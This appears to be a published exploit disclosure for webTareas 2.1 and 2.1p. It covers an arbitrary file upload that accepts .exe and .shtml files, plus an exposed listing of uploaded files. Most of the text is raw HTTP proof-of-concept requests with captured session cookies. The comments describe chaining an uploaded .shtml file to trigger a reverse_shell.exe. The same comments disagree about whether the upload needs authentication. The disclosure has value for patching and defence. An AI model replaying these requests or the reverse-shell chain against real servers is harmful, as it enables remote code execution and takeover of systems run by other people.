#Authenticated File Upload vulnerability #Author: AppleBois #Homepage: https://sourceforge.net/projects/webtareas/ #Affected Version: 2.1 && 2.1p #Vendors Claim there's a patch on 2.1p but it's vulnerable and been few weeks without response. #".exe" and ".shtml" is allow to upload #Below http request is a file upload reuqest "a.shtml" to server, Unauthenticated user can prompt a "cmd.exe" by clicking the "a.shtml" through crafted URL "http://127.0.0.1:81/Tareas/webtareas/files/Default/a--17.v1.0.shtml" #More information : https://medium.com/@tehwinsam/webtareas-2-1-c8b406c68c2a POST /Tareas/webtareas/linkedcontent/addfile.php?doc_type=0&doc_type_ex=&doc_id=1&borne15=0&borne16=0 HTTP/1.1 Host: 10.10.10.2:81 Content-Length: 711 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://10.10.10.2:81 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryHtJ36OtVyQuyaY6y User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://10.10.10.2:81/Tareas/webtareas/linkedcontent/addfile.php?doc_type=0&doc_id=1&borne15=0&borne16=0 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: webTareasSID=vqg1lbhf9g5esjrie84dsrjjhg; ASP.NET_SessionId=vbrb31kd3s5hmz3uobg0smck; UserSettings=language=1; dnn_IsMobile=False; .ASPXANONYMOUS=VA9hDh-1Ldg0FPbBfd9HAWSTqKjasYcZMlHQnpPaoR5WQipK7Q_kKnAlAqfWp0WgtO8HXH2_Tsrhfh-Z7137cng_MeEp3aiMPswVEPZc-UOdZQTp0; __RequestVerificationToken_L0ROTg2=Js5PUWl0BiY3kJLdEPU2oEna_UsEFTrNQiGY986uBwWdRyVDxr2ItTPSUBd07QX6rRyfXQ2; USERNAME_CHANGED=; language=en-US; authentication=DNN; .DOTNETNUKE=CC547735526446773F995D833FACDA646745AE4409516EBF345F1AC725F7D7CE7BFC420BF5EFE9FE2AEC92B04C89CCD2E64C34BA4E195D7D8D6EED7892574DB3FF02599F; ICMSSESSION=mgnp26oubn7hfc590q6j5c9o70 Connection: close ------WebKitFormBoundaryHtJ36OtVyQuyaY6y Content-Disposition: form-data; name="action" add ------WebKitFormBoundaryHtJ36OtVyQuyaY6y Content-Disposition: form-data; name="file1"; filename="" Content-Type: application/octet-stream ------WebKitFormBoundaryHtJ36OtVyQuyaY6y Content-Disposition: form-data; name="attnam1" a.shtml ------WebKitFormBoundaryHtJ36OtVyQuyaY6y Content-Disposition: form-data; name="atttmp1" C:/xampp/htdocs/Tareas/webtareas/files/tmpEDE7.tmp ------WebKitFormBoundaryHtJ36OtVyQuyaY6y Content-Disposition: form-data; name="c" ------WebKitFormBoundaryHtJ36OtVyQuyaY6y Content-Disposition: form-data; name="ver" 1.0 ------WebKitFormBoundaryHtJ36OtVyQuyaY6y-- #Uploaded File Listing Directory #Author: AppleBois #Homepage: https://sourceforge.net/projects/webtareas/ #Affected Version: 2.1 && 2.1p #Vendors Claim there's a patch on 2.1p but it's vulnerable and been few weeks without response. #Disclose file uploaded by authenticated user. #Futhur Damage: chain with "File Upload vulnerability", a.shtml and .exe is allow to upload, we can upload a reverse_shell.exe and a.shtml. a.shtml can trigger the reverse_shell.exe #More information : https://medium.com/@tehwinsam/webtareas-2-1-c8b406c68c2a GET /Tareas/webtareas/files/Default/ HTTP/1.1 Host: 10.10.10.2:81 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: webTareasSID=vqg1lbhf9g5esjrie84dsrjjhg; ASP.NET_SessionId=vbrb31kd3s5hmz3uobg0smck; UserSettings=language=1; dnn_IsMobile=False; .ASPXANONYMOUS=VA9hDh-1Ldg0FPbBfd9HAWSTqKjasYcZMlHQnpPaoR5WQipK7Q_kKnAlAqfWp0WgtO8HXH2_Tsrhfh-Z7137cng_MeEp3aiMPswVEPZc-UOdZQTp0; __RequestVerificationToken_L0ROTg2=Js5PUWl0BiY3kJLdEPU2oEna_UsEFTrNQiGY986uBwWdRyVDxr2ItTPSUBd07QX6rRyfXQ2; USERNAME_CHANGED=; language=en-US; authentication=DNN; .DOTNETNUKE=CC547735526446773F995D833FACDA646745AE4409516EBF345F1AC725F7D7CE7BFC420BF5EFE9FE2AEC92B04C89CCD2E64C34BA4E195D7D8D6EED7892574DB3FF02599F; ICMSSESSION=mgnp26oubn7hfc590q6j5c9o70 Connection: close